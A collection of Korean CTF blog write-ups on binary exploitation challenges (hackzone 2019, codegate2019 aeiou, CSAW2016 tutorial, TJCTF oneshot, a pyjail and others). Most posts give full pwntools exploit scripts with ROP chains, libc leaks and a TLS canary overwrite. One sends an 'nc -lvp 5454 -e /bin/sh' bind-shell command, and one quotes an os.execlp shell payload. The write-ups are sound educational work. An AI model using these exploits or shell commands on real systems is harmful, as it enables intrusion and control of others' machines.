'/proc/self/cwd'는 현재 실행중인 프로세스의 디렉토리 표시하는 명령어다.

 

ctf때 쓸 수 있을 것 같다.

'OS > linux' 카테고리의 다른 글

linux include 파일 찾기  (0) 2020.07.02
프로세스에서 사용중인 파일 디스크립터 찾기  (0) 2018.07.20
리눅스 넘버링?  (0) 2018.03.27
리눅스 세션 연결 시 history 자동 삭제하기  (0) 2018.03.20
vim 화면 스크롤  (0) 2018.02.15

정말 간단한 bof로 보여졌다.... 

rbp-0x80보다 많은 512 바이트를 받으니까.

 

근데 막상 문제를 보면 write도 없고 쓸 수 있는 함수가 없어서 read만 가지고는 평소처럼 rop를 할 수 없었다.

근데 운 좋게도 문제를 풀 때 어떤 블로그를 띄워 놓고 있었는데 그 블로그에서 말하는 바로는 각 함수에서 몇 바이트만 가다 보면 syscall이 있다는 사실을 적어 놨다.

이 문제의 read@got를 봤다.

read@got = 0x7ffff7b04250 일 때

read의 syscall은 마지막 한바이트만 바뀐 0x7ffff7b0425e다.

read@got를 한바이트만 GOT Overwrite해서 syscall로 만들어 준 다음, rax값만 잘 변조하면 read@got를 syscall로 움직여서 원하는 함수를 마음대로 실행할 수 있다.

rax값은 read 함수의 반환 값으로 조절이 가능하고, write함수도 마찬가지로 반환값으로 원하는 rax를 조절할 수 있다.

 

내 페이로드는 다음과 같다.

read(0, bss+0x100, 1);

read(0, read@got, 1);

read(1, read@got, 59);        // rax 조절을 위한 실행

read@got(bss+0x100, 0, 0); // ececve(bss+0x100, 0, 0);

이다.

 

from pwn import *

p = process("./pwn2")
elf = ELF("./pwn2")

read_plt = elf.plt['read']
read_got = elf.got['read']
pop_rdi_rsi_rdx = 0x400531
bss = elf.bss()

payload = "A"*136	# with sfp
payload += p64(pop_rdi_rsi_rdx)
payload += p64(0)
payload += p64(bss+0x100)	#/bin/sh
payload += p64(len("/bin/sh\x00"))
payload += p64(read_plt)

payload += p64(pop_rdi_rsi_rdx)
payload += p64(0)
payload += p64(read_got)
payload += p64(1)
payload += p64(read_plt)

payload += p64(pop_rdi_rsi_rdx)
payload += p64(1)
payload += p64(read_got)
payload += p64(59)
payload += p64(read_plt)

payload += p64(pop_rdi_rsi_rdx)
payload += p64(bss+0x100)
payload += p64(0)
payload += p64(0)
payload += p64(read_plt)

#pause()
p.sendline(payload)
#pause()
p.send("/bin/sh\x00")
p.sendline("\x5e")
p.interactive()

 

추가로 xor eax 가젯으로 eax를 조절하는 방법도 있다.

Ref.https://asiagaming.tistory.com/6

'CTF' 카테고리의 다른 글

facebook CTF 2019 overfloat  (0) 2019.06.03
defcon2019 speedrun  (0) 2019.05.28
hackzone 2019 pwn1  (0) 2019.05.07
BTH_CTF 2019  (0) 2019.05.01
plaid 2019 can you guess me?  (0) 2019.04.15

이 문제는 특이하게 모든 함수가 syscall로 구현되어 있다.

첨에 당황했는데 다른 rop처럼 똑같이 오버플로우로 rip를 syscall로 조작해서 libc leak을 하면 된다.

하지만 got 영역을 가진 함수가 없어서 고민을 하다가 pwntool로 이 함수 저함수 찾다가 __libc_start_main이 got가 있음을 알게 되었다.

그래서 libc leak해서 oneshot 가젯의 주소를 구했고, 그 다음 oneshot가젯을 bss에 저장했다.

syscall로 read해서 bss에 저장하려고 했으나 이 문제를 보면 login()에서 write, read를 다 진행해주기 때문에 rip를 이 쪽으로 돌려줘서 read할 때 oneshot 가젯의 주소를 넣어주었다.(첫 번째 read와 두 번째 read에 oneshot을 넣어줬다. 왜냐면 check()함수에서 두 부분이 같은지 확인하기 때문.) 그리고 이 함수에서 read하는 버퍼는 bss영역이기 때문에 저장되는 주소는 바로 알 수 있다.



그리고 pop_rsp가젯으로 bss 영역의 위치를 rsp로 pop시킨 후 마지막에 실행시키도록 하는 가젯을 이용했다.

from pwn import *

p = process("./pwn1")
elf = ELF("./pwn1")

pop_rdi = 0x00400683
pop_rsi_r15 = 0x400681
pop_rsp_r13_r14_r15 = 0x40067d
start = elf.got['__libc_start_main']
write_syscall = 0x400526
bss = elf.bss()

payload = ""
payload += "A"*40
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(start)
payload += p64(0)
payload += p64(write_syscall)

payload += p64(pop_rsp_r13_r14_r15)
payload += p64(bss+12)
payload += p64(0)
payload += p64(0)
payload += p64(bss+12)

print p.recv()
p.sendline("AAAA")
print hexdump(p.recv())
p.sendline("AAAA")
print hexdump(p.recv())
#pause()
p.sendline(payload)
__libc_start_main = u64(p.recv(8))
log.info("__libc_start_main = {}".format(hex(__libc_start_main)))
oneshot = __libc_start_main +  0x24b2a
log.info("oneshot = {}".format(hex(oneshot)))
print p.recv()
p.sendline(p64(oneshot))
print p.recv()
p.sendline(p64(oneshot))
p.interactive()

'CTF' 카테고리의 다른 글

defcon2019 speedrun  (0) 2019.05.28
hackzone 2019 pwn2 (Syscall)  (0) 2019.05.09
BTH_CTF 2019  (0) 2019.05.01
plaid 2019 can you guess me?  (0) 2019.04.15
codegate2019 aeiou  (0) 2019.02.23

batter_up

from pwn import *

p = process("./batter_up")
elf = ELF("./batter_up")

system = elf.plt['system']
binsh = 0x804874a
print p.recv()

payload = ""
payload += "A"*48
payload += p32(system)
payload += "DDDD"
payload += p32(binsh)

p.sendline(payload)

p.interactive()

batter_up 3

from pwn import *

p = process("./batter_up_3")
elf = ELF("./batter_up_3")
lib = ELF("./libc_e3d54f5709190f15a9c51089c70f2069771913c1.so.6")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gets = elf.plt['gets']
bss = elf.bss()
pr = 0x080483d1
ppr = 0x0804870a
pppr = 0x08048709

p.recv()

payload = ""
payload += "A"*44
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)

payload += p32(gets)
payload += p32(pr)
payload += p32(bss)

payload += p32(puts_plt)
payload += p32(pr)
payload += p32(bss)

payload += p32(gets)
payload += p32(pr)
payload += p32(puts_got)

payload += p32(puts_plt)
payload += "DDDD"
payload += p32(bss)

p.sendline(payload)

libc_puts = u32(p.recv(4))
log.info("libc_plt = {}".format(hex(libc_puts)))
libc_system = libc_puts - 0x24f00
log.info("libc_system = {}".format(hex(libc_system)))
p.sendline("/bin/sh\x00")

p.sendline(p32(libc_system))

p.interactive()

'CTF' 카테고리의 다른 글

hackzone 2019 pwn2 (Syscall)  (0) 2019.05.09
hackzone 2019 pwn1  (0) 2019.05.07
plaid 2019 can you guess me?  (0) 2019.04.15
codegate2019 aeiou  (0) 2019.02.23
CSAW2016 tutorial  (0) 2019.02.01
#! /usr/bin/env python3

from sys import exit
from secret import secret_value_for_password, flag, exec

print(r"")
print(r"")
print(r"  ____         __   __           ____                     __  __       ")
print(r" / ___|__ _ _ _\ \ / /__  _   _ / ___|_   _  ___  ___ ___|  \/  | ___  ")
print(r"| |   / _` | '_ \ V / _ \| | | | |  _| | | |/ _ \/ __/ __| |\/| |/ _ \ ")
print(r"| |__| (_| | | | | | (_) | |_| | |_| | |_| |  __/\__ \__ \ |  | |  __/ ")
print(r" \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_|  |_|\___| ")
print(r"                                                                       ")
print(r"")
print(r"")

try:
    val = 0
    inp = input("Input value: ")
    count_digits = len(set(inp))
    if count_digits <= 10:          # Make sure it is a number
        val = eval(inp)
    else:
        raise

    if val == secret_value_for_password:
        print(flag)
    else:
        print("Nope. Better luck next time.")
except:
    print("Nope. No hacking.")
    exit(1)

간단한 pyjail 문제다.

inp는 10개 미만으로 넣어줘야 하기 때문에 input()을 넣어주고 다시 입력 받은 값을 val에 넣도록 했다.
그래서 첨에 만든 payload는 dir(import('os').execlp("sh","sh")) 였는데 이게 python2에서는 쉘을 얻을 수 있는데 python3에서는 무슨 차이인지는 모르겠는데 예외 처리되면서 안된다.

시험기간이라 일단 재껴놓고 있다가 라업 올라오고 확인해보니
chr로 문자열을 만드셔서 하는 분도 있었고,
print(vars())
로 처리하거나
help(flag)
로 문제를 푸신분들도 있다.

근데 vars(), help()로 푼게 unintended 풀이라고 한다.

'CTF' 카테고리의 다른 글

hackzone 2019 pwn1  (0) 2019.05.07
BTH_CTF 2019  (0) 2019.05.01
codegate2019 aeiou  (0) 2019.02.23
CSAW2016 tutorial  (0) 2019.02.01
TJCTF 2016 oneshot  (0) 2019.01.24


간단하게 요약하면 취약점이 있는 함수는 3번 메뉴다.



3번 메뉴의 함수를 보면 pthread_create 함수로 start_routine이란 함수를 thread로 실행시킨다.


start_routine 함수를 보면 s변수의 크기는 '(rbp-0x1010) - 8' 만큼 있고, 

getNumber()함수로 받은 수가 65536보다 작으면 vuln()함수를 실행시킨다.



vuln()함수는 a3만큼 a2에 read하는 함수다.

즉 여기서 overflow가 일어난다.

number를 65535 까지 입력할 수 있는데 아까 s변수는 rbp-0x1010-8이다 즉 4104 만큼이 s변수고 그 다음에 오버플로우로 ret까지 덮을 수 있다.

하지만 이 문제는 카나리가 있어서 우회를 하던가 leak을 해야 한다.

ptrhead함수에 의해 thread로 실행한 함수는 thread의 stack에 TLS(Thread Local Storage)를 사용하여 변수를 저장하고, 원래 카나리를 thread의 stack으로 복사한 후 카나리 체크를 할 때는 해당 스택으로 복사된 카나리와 비교를 한다고 한다.

만약 오버플로우로 복사된 카나리 값 까지 원하는 값으로 덮어 버리게 되면 내가 원하는 값이 카나리로 들어가게 되는 원리다.

우선 gdb로 카나리 값 전까지 입력을 준 다음 thread의 stack으로 복사된 TCB 구조체의 stack_guard 값을 find 명령으로 찾아보았다.

rbp-0x8에 있는 값이 카나리다.

stack에 위치한 카나리와 stack_guard의 거리는 0x7e0(2016)이다. 

즉 카나리 부터 2016바이트까지 덮은 다음 8바이트를 원하는 값으로 채워주면 카나리를 우회할 수 있다.

이 원리를 이용해 rop를 했다.


from pwn import *

#r = process("./aeiou", env={"LD_LIBRARY_PATH":"."})
r = process("./aeiou")
elf = ELF('./aeiou')
libc = ELF('./libc.so')

pop_rdi = 0x4026f3
pop_rsi_r15 = 0x4026f1
pop_rsp = 0x4026ed

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
read_got = elf.got['read']
bss = elf.bss() + 0x200

payload = "\x00"*(0x1010-8)
payload += "DDDD"*4
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(bss)
payload += p64(0)
payload += p64(read_plt)

payload += p64(pop_rsp)
payload += p64(bss-0x18)
payload += "D"*2000

r.sendlineafter(">>", "3")
r.sendlineafter("Let me know the number!", str(len(payload)))

r.send(payload)
pause()
r.recvuntil(":)\x0a")

libc_puts = u64(r.recv(6).ljust(8, "\x00"))
libc_base = libc_puts - libc.symbols['puts']
log.info("libc_puts = {}".format(hex(libc_puts)))
one_gadget = libc_base + 0x4526a
pause()
r.sendline(p64(one_gadget))

r.interactive()


다른분의 라업을 보고 알았는데 bss에 oneshot 가젯의 주소를 read한 다음에 pop_rsp 가젯으로 bss영역을 실행하도록 하는 방법이 신박하다.

return to csu로 풀은 것도 봤는데 다음번에 써봐야겠다.

'CTF' 카테고리의 다른 글

BTH_CTF 2019  (0) 2019.05.01
plaid 2019 can you guess me?  (0) 2019.04.15
CSAW2016 tutorial  (0) 2019.02.01
TJCTF 2016 oneshot  (0) 2019.01.24
QIWICTF 2016 pwn200  (0) 2019.01.23


주어진 zip 파일을 받아서 압축을 해제하면 문제 바이너리와 tar 파일이 나온다.

tar를 또 해제하면 아래와 같이 엄청나게 많은 라이브러리 파일이 들어있다.

정말 많은 양의 라이브러리가 있다.


우선 바이너리를 실행했다.

실행을 하면 처음에 입력을 한번 받고 두번 째 입력을 받는다.

얼추 유추해보면 처음 받는 수는 라이브러리이름 넘버를 받는 것으로 보인다.


두 번째 입력은 뭔가를 받는데 반응이 없다.


이번엔 다른 값을 넣어보았다.

이번엔 라이브러리를 임의로 55를 넣었다.

그리고 이번엔 '\\\\\\'를 넣었더니 명령어 에러 메시지가 나왔다.

두 번째 입력은 ls 뒤에 들어가도록 된 듯 하다.

이제 ida로 확인해보자.

2000의 main함수다.

input으로 라이브러리의 숫자를 받는것을 볼 수 있고,

해당 라이브러리의 test라는 함수의 주소를 가져와 실행시킨다.


나는 55를 넣었으니 lib_55.so 파일도 ida로 열었다.

lib_55.so에서는 lib_9068.so의 filter1 함수를 가져오고, lib_8658.so의 filter2함수를 가져온다.

그리고 system함수의 인자로 ls ""를 준다. 내가 입력한 값은 저 ls의 옵션 부분으로 들어간다.

lib_9068.so의 filter1함수다. 입력값의 필터로 보인다.

libc_8658.so의 filter2다.

f,l,g, bin, sh, bash가 필터로 막혀있다.

두 함수 다 두 번째 입력에 대한 필터 들이다.

이 부분을 우회 해야하는데 우회법을 찾지 못했고, 다른분의 라업을 보면 r2pipe라는 파이썬 라이브러리를 이용했다.


r2pipe는 radare2라는 리버싱 툴을 파이썬으로 사용 가능 하도록 한 API이다.

이 많은 라이브러리들 중 필터가 다른 라이브러리를 찾아서 문제를 풀었다.


import r2pipe
import ast

test = []
filter1 = []
filter2 = []

for i in range(1, 20000+1):
	r2 = r2pipe.open('./lib_{}.so'.format(i))
	if 'dlopen' in r2.cmd('ii'):
		test.append(i)
	if 'filter1' in r2.cmd('is'):
		filter1.append(i)
	if 'filter2' in r2.cmd('is'):
		filter2.append(i)
	if i % 12 == 0:
		print i
	r2.quit()

r = open('test', 'w')
r.write(str(test))
r.close()

r = open('filter1', 'w')
r.write(str(filter1))
r.close()

r = open('filter2', 'w')
r.write(str(filter2))

r2.cmd('ii')는 import 리스트를 출력하는 명령이고,

r2.cmd('is')는 symbol 리스트를 출력하는 명령이다.

해당 명령 설명은 radare2를 실행시켜 명령을 보면 나온다.

위 코드로 filter1, filter2를 가지고 있는 라이브러리 파일들의 리스트를 각각 추출해서 파일로 저장했다.(너무 오래 걸리기 때문에..)


이제 그 리스트로 lib_55.so의 filter1과 다른 필터를 가진 라이브러리를 찾을 것이다.

test = open('./test', 'r').read()
filter1 = open('./filter1', 'r').read()
filter2 = open('./filter2', 'r').read()

test = ast.literal_eval(test)
filter1 = ast.literal_eval(filter1)
filter2 = ast.literal_eval(filter2)

diff = []
for i in filter1:
    r2 = r2pipe.open('./lib_{}.so'.format(i))
    r2.cmd('aaa')
    filters = ['0x3b', '0x2a', '0x7c', '0x26', '0x24', '0x60', '0x3e', '0x3c', '0x72']
    out = r2.cmd('pdf @ sym.filter1')

    for filter in filters:
        if filter not in out:
            ff.append(i)
            break
    r2.quit()

print diff

각 라이브러리 filter1의 어셈블 코드를 받아 55의 필터와 비교하고 없다면 찾아내는 코드다.

lib_4323.so만 다르다고 나왔다.

filter1을 보니 | 문자가 필터에 없었다.

이번엔 이 lib_4323을 불러오는 test()함수를 가진 라이브러리를 찾아보자.

file = []
for i in test:
    r2 = r2pipe.open('./lib_{}.so'.format(i))
    if "./20000_so/lib_4323.so" in r2.cmd('iz'):
        print "find"
        file.append(i)

    if (i % 12 == 0):
        print i
    r2.quit()
print file

r2.cmd('iz')는 해당 바이너리의 string을 찾아내는 명령이다.

lib_17394.so가 나왔다.


lib_17394.so를 ida로 보면 lib_4323.so를 dlopen하고 system("입력값" 2 > /dev/null)을 실행한다. 아까 lib_55.so와는 많이 다른 코드를 가지고 있다.

여기서는 또 lib_11804.so를 dlopen한다. 다시 ida로 lib_11804.so을 열어보자.

아까 본 filter2와는 다른 필터를 가지고 있다. 여기는 bin, sh 다 필터에 없다.

따라서 lib_17394.so를 실행시키면 system("sh")을 실행시킬 수 있다!



'CTF > Codegate' 카테고리의 다른 글

codegate 2018 super marimo  (0) 2019.01.19
CodeGate2018 BaskinRobins31  (0) 2018.07.14
Codegate 2018 RedVelvet writeup  (0) 2018.02.04

포너블 문제를 풀다보면 바이너리 자체에서 소켓을 생성한 다음  I/O를 하는 문제가 있다.


근데 이러한 문제들은 일반적인 방법으로 쉘을 얻게되면 interactive()가 잘 되지 않는다.


왜나면 system이 /bin/sh의 입력과 출력을 부모 프로세스의 파일디스크립터 0과 1에 각각 연결하기 때문.

그래서 정작 쉘이 열리지 않게 되므로 작성한 쉘과 상호 작용하려면, 파일디스크립터 0과 1을, 통신 하고 있는 소켓의 파일디스크립터로 바꿔야 한다.


이렇게하려면, 먼저 stdin과 stdout에 대한 파일 디스크립터를 닫기 위해 close (0)와 close (1)을 호출해야한다. 그리고 dup (socket fd)를 두 번 호출하여 소켓을 사용하는 파일 디스크립터 0과 1을 생성 할 수있다. (ROP를 이용해 실행)

사용하고 있는 소켓의 파일 디스크립터를 찾는 방법은 아래와 같다.


gdb로 해당 바이너리의 socket이 생성된 시점에 BP를 걸고 아래와 같이 하면 된다.

$info proc 명령어로 해당 프로세스 넘버를 확인한 후 

$shell ls -la /proc/[프로세스ID]/fd 로 소켓의 파일디스크립터를 확인하고 exploit을 작성할 때는 이 파일디스크립터를 작성해주면 된다.


rop 과정


close(0) - close(1) - dup(socket fd) - system("/bin/sh")

이런식으로 rop를 하면 된다. (CTF에서는 바이너리 안에 close()를 자체적으로 해놓은 문제도 있다.) 



ref.http://research.hackerschool.org/Datas/Research_Lecture/remote2.txt

'HACKING > System hacking' 카테고리의 다른 글

unsafe unlink  (0) 2019.06.06
fastbin_dup_into_stack  (0) 2019.06.03
memory cheat sheet  (0) 2019.01.17
free_hook으로 Full Relro 우회  (0) 2018.09.17
ltrace로 main함수 심볼 찾기  (0) 2018.09.16

문제를 풀기위한 제약 조건이 많아서 ida로 그 조건을 찾아서 맞춰 줘야 바이너리가 정상적으로 실행됨.


from pwn import *

r = remote("localhost", 9797)
libc_elf = ELF("./libc-2.19.so")
elf = ELF("./tutorial")

read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
bss = elf.bss()
cmd = "nc -lvp 5454 -e /bin/sh\x00"
r.sendlineafter(">", "1")
r.recvuntil("Reference:")

libc_puts = int(r.recv(14), 16) + 1280
libc_system = libc_puts - 0x2a300
log.info("libc_puts = {}".format(hex(libc_puts)))
log.info("libc_system = {}".format(hex(libc_system)))

pop_rdi = libc_puts + 0x12e515
pop_rsi = libc_puts + 0xcd587
pop_rdx = libc_puts - 0x6dafe

r.sendlineafter(">", "2")

payload = "A"*311
r.sendlineafter("Time to test your exploit...", payload)

r.recvuntil("A\x0a")
canary = u64(r.recv(8))
log.info("canary = {}".format(hex(canary)))

print r.sendlineafter(">", "2")
payload = "\x90"*312
payload += p64(canary)
payload += "\x90"*8

payload += p64(pop_rdi)
payload += p64(4)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(30)
payload += p64(read_plt)

payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(libc_system)
pause()
r.sendlineafter(">", payload)
pause()
r.sendline(cmd)



'CTF' 카테고리의 다른 글

plaid 2019 can you guess me?  (0) 2019.04.15
codegate2019 aeiou  (0) 2019.02.23
TJCTF 2016 oneshot  (0) 2019.01.24
QIWICTF 2016 pwn200  (0) 2019.01.23
SEC-T CTF PingPong  (0) 2018.09.16
from pwn import *

r = process("./oneshot")
elf = ELF("./oneshot")

puts_got = elf.got['puts']

r.recv()
payload = str(puts_got)
r.sendline(payload)

r.recvuntil("Value: ")
libc_puts = r.recvuntil("\x0a").replace("\x0a", "")
libc_puts = int(libc_puts, 16)
oneshot = libc_puts - 0x2a47a
log.info("libc_puts = {}".format(hex(libc_puts)))
log.info("oneshot = {}".format(hex(oneshot)))

r.recvuntil("Jump location?")
r.sendline(str(oneshot))

r.interactive()

'CTF' 카테고리의 다른 글

codegate2019 aeiou  (0) 2019.02.23
CSAW2016 tutorial  (0) 2019.02.01
QIWICTF 2016 pwn200  (0) 2019.01.23
SEC-T CTF PingPong  (0) 2018.09.16
BCTF 2016 bcloud  (0) 2018.08.24

+ Recent posts